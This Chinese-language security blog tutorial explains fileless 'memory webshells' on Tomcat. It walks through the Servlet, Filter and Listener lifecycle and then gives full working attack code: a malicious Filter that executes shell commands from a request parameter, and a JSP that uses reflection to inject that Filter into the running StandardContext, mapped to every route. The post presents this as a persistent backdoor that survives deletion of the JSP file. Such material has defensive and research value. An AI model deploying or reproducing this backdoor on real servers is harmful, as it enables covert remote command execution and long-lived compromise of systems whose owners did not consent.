深入淺出記憶體馬(一)

風炫安全發表於2021-07-12

深入淺出記憶體馬(一)

0x01 簡述

0x0101 Webshell技術歷程

在Web安全領域,Webshell一直是一個非常重要且熱門的話題。在目前傳統安全領域,Webshell根據功能的不同分為三種型別,分別是:一句話木馬,小馬,大馬。而根據現在防火牆技術的更新迭代,隨後出現了加密的木馬技術,比如:加密一句話。而我們今天要說的是一種新的無檔案的Webshell型別:記憶體馬。

0x0102 為什麼會使用記憶體馬?

傳統Webshell連線方式,都是先通過某種漏洞將惡意的指令碼木馬檔案上傳,然後通過中國菜刀,或者蟻劍,冰蠍等Webshell管理軟體進行連結。

這種方式目前仍然流行,但是由於近幾年防火牆,IDS,IPS,流量分析等各種安全裝置的普及和更新,這種連線方式非常容易被裝置捕獲攔截,而且由於檔案是明文存放在伺服器端,所以又很容易被防毒軟體所查殺。在今天看來這種傳統連線方式顯然已經過時,於是乎,進化了一系列的加密一句話木馬,但是這種方式還是不能繞過有類似檔案監控的防毒軟體,於是乎進化了新一代的Webshell---》記憶體馬

0x03 什麼是記憶體馬

記憶體馬是無檔案Webshell,什麼是無檔案webshell呢?簡單來說,就是伺服器上不會存在需要連結的webshell指令碼檔案。那有的同學可能會問了?這種方式為什麼能連結呢?記憶體馬的原理就像是MVC架構,即通過路由訪問控制器,我通過自身的理解,概述的說一下, 記憶體馬的原理就是在web元件或者應用程式中,註冊一層訪問路由,訪問者通過這層路由,來執行我們控制器中的程式碼

0x03 記憶體馬的型別

目前分為兩種:

  1. Servlet-API型
    通過命令執行等方式動態註冊一個新的listener、filter或者servlet,從而實現命令執行等功能。特定框架、容器的記憶體馬原理與此類似,如spring的controller記憶體馬,tomcat的valve記憶體馬

    • filter型
    • servlet型
  2. 位元組碼增強型

    通過java的instrumentation動態修改已有程式碼,進而實現命令執行等功能。

  3. spring類

    • 攔截器
    • Controller型

0x02 記憶體馬的原理

我們以Java Web舉例,在Java Web中有三大元件分別是Servlet, Filter,Listener

Servlet

Servlet 是執行在 Web 伺服器或應用伺服器上的程式,它是作為來自 HTTP 客戶端的請求和 HTTP 伺服器上的資料庫或應用程式之間的中間層。它負責處理使用者的請求,並根據請求生成相應的返回資訊提供給使用者。

Servlet程式是由WEB伺服器呼叫,web伺服器收到客戶端的Servlet訪問請求後:

  1. Web伺服器首先檢查是否已經裝載並建立了該Servlet的例項物件。如果是,則直接執行第4步,否則,執行第2步。
  2. 裝載並建立該Servlet的一個例項物件。
  3. 呼叫Servlet例項物件的init()方法。
  4. 建立一個用於封裝HTTP請求訊息的HttpServletRequest物件和一個代表HTTP響應訊息的HttpServletResponse物件,然後呼叫Servlet的service()方法並將請求和響應物件作為引數傳遞進去。
  5. WEB應用程式被停止或重新啟動之前,Servlet引擎將解除安裝Servlet,並在解除安裝之前呼叫Servlet的destroy()方法。

Filter

Filter譯為過濾器。過濾器實際上就是對web資源進行攔截,做一些處理後再交給下一個過濾器或servlet處理,通常都是用來攔截request進行處理的,也可以對返回的response進行攔截處理。

web伺服器根據Filter在web.xml檔案中的註冊順序,決定先呼叫哪個Filter,當第一個Filter的doFilter方法被呼叫時,web伺服器會建立一個代表Filter鏈的FilterChain物件傳遞給該方法。在doFilter方法中,開發人員如果呼叫了FilterChain物件的doFilter方法,則web伺服器會檢查FilterChain物件中是否還有filter,如果有,則呼叫第2個filter,如果沒有,則呼叫目標資源。

生命週期

public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我們編寫的Servlet程式一樣,Filter的建立和銷燬由WEB伺服器負責。 web 應用程式啟動時,web 伺服器將建立Filter 的例項物件,並呼叫其init方法,讀取web.xml配置,完成物件的初始化功能,從而為後續的使用者請求作好攔截的準備工作(filter物件只會建立一次,init方法也只會執行一次)。開發人員通過init方法的引數,可獲得代表當前filter配置資訊的FilterConfig物件。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//攔截請求
這個方法完成實際的過濾操作。當客戶請求訪問與過濾器關聯的URL的時候,Servlet過濾器將先執行doFilter方法。FilterChain引數用於訪問後續過濾器。

public void destroy();//銷燬
Filter物件建立後會駐留在記憶體,當web應用移除或伺服器停止時才銷燬。在Web容器解除安裝 Filter 物件之前被呼叫。該方法在Filter的生命週期中僅執行一次。在這個方法中,可以釋放過濾器使用的資源。

Listener

監聽器用於監聽Web應用中某些物件的建立、銷燬、增加,修改,刪除等動作的發生,然後作出相應的響應處理。當監聽範圍的物件的狀態發生變化的時候,伺服器自動呼叫監聽器物件中的方法。常用於統計網站線上人數、系統載入時進行資訊初始化、統計網站的訪問量等等。

主要由三部分構成:

  • 事件源:被監聽的物件
  • 監聽器:監聽的物件,事件源的變化會觸發監聽器的響應行為
  • 響應行為:監聽器監聽到事件源的狀態變化時所執行的動作

在初始化時,需要將事件源和監聽器進行繫結,也就是註冊監聽器。

可以使用監聽器監聽客戶端的請求、服務端的操作等。通過監聽器,可以自動出發一些動作,比如監聽線上的使用者數量,統計網站訪問量、網站訪問監控等。

Tomcat

在 Tomcat 中,每個 Host 下可以有多個 Context (Context 是 Host 的子容器), 每個 Context 都代表一個具體的Web應用,都有一個唯一的路徑就相當於下圖中的 /shop /manager 這種,在一個 Context 下可以有著多個 Wrapper

Wrapper 主要負責管理 Servlet ,包括的 Servlet 的裝載、初始化、執行以及資源回收

0x03 Tomcat Filter注入流程

通過上面的介紹,我們已經大致瞭解記憶體馬的背景知識,現在我們來講解Tomcat Filter型別的記憶體馬,看看這種流程是什麼樣子的?

0x0301Tomcat Filter簡單案例

新建filter

package com.evalshell.Filter;

import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 建立");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("執行過濾過程");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("銷燬!");
    }
}

Web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>

    <filter>
        <filter-name>MyFilter</filter-name>
        <filter-class>com.evalshell.Filter.MyFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>MyFilter</filter-name>
        <url-pattern>/hello</url-pattern>
    </filter-mapping>

</web-app>

就是我們建立一個servlet和一個filter 訪問路由都是為/hello 。看下結果:

控制檯輸出

我們簡單除錯一下

對應Web.xml中的配置資訊,這種方式就是為靜態的新增filter的方式,filter實現分為靜態和動態,靜態就是上述中,普通配置在web.xml或者通過@註釋配置在類中的。

關於整個Filter的呼叫鏈 可以參考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 這個不是我們主要講述的重點。

Filter呼叫鏈,可以引用寬位元組安全總結的一張圖來說明:

0x04 Filter型記憶體馬注入

0x0401 動態建立Filter

我們除錯一下filterChain.doFilter() 方法,啟動服務,然後訪問/hello即可除錯:

繼續跟進,可以看到doFilter() 的具體處理過程是在internalDoFilter()

然後最後呼叫service()方法去呼叫這個filter裡面的內容

概述地說, FilterChain.doFilter() 方法將呼叫下一個 Filter.doFilter() 方法;最後一個 Filter.doFilter() 方法中呼叫的FilterChain.doFilter() 方法將呼叫目標 Servlet.service() 方法。

0x0402 一個簡單Filter記憶體馬案例

上面的描述總結下來就是如何在tomcat中動態的注入一條配置項和程式碼,拿filter型別舉例子,那麼我們如何建立一個Filter型別的記憶體馬呢?

  1. 首先建立一個惡意Filter
  2. 利用 FilterDef 對 Filter 進行一個封裝
  3. 將 FilterDef 新增到 FilterDefs 和 FilterConfig
  4. 建立 FilterMap ,將我們的 Filter 和 urlpattern 相對應,存放到 filterMaps中(由於 Filter 生效會有一個先後順序,所以我們一般都是放在最前面,讓我們的 Filter 最先觸發)
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 為 ServletContext 的實現類
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 這樣我們就獲取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

每次請求createFilterChain都會依據此動態生成一個過濾鏈,而StandardContext又會一直保留到Tomcat生命週期結束,所以我們的記憶體馬就可以一直駐留下去,直到Tomcat重啟。

好的 那我們首先來編寫一個filter的惡意類

package com.evalshell.Filter;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 建立");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("執行過濾過程");
        //測試只考慮linux環境下
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        if (request.getParameter("c") != null){
            String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
            InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
            String output = scanner.hasNext() ? scanner.next() : "";
            servletResponse.getWriter().write(output);
            servletResponse.getWriter().flush();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("銷燬!");
    }
}

執行效果:

可以看到這個就是在tomcat中沒有任何shell檔案,但是在過濾器中執行了我們的程式碼。

0x0402 最終實戰

那麼真實情況下,我們不可能直接修改專案中Filter的原始碼,因為就算修改了,想要生效也需要重啟。所以我們需要動態的插入filter,那我們該如何操作呢?

最終程式碼如下:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "fengxuan";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                //這裡寫上我們後門的主要程式碼
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                //別忘記帶這個,不然的話其他的過濾器可能無法使用
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        
        // 將filterDef新增到filterDefs中
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
      //攔截的路由規則,/* 表示攔截任意路由
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("注入成功");
    }
%>

訪問這個頁面

最後直接訪問任意Servlet路由都可以執行命令

即使刪除我們的注入檔案filterdemo1.jsp也是一樣可以執行,這樣就可以達到無檔案的Webshell管理方式了。

0x05 參考連結

http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html

更多優質文章請到風炫安全知識庫:https://evalshell.com/

相關文章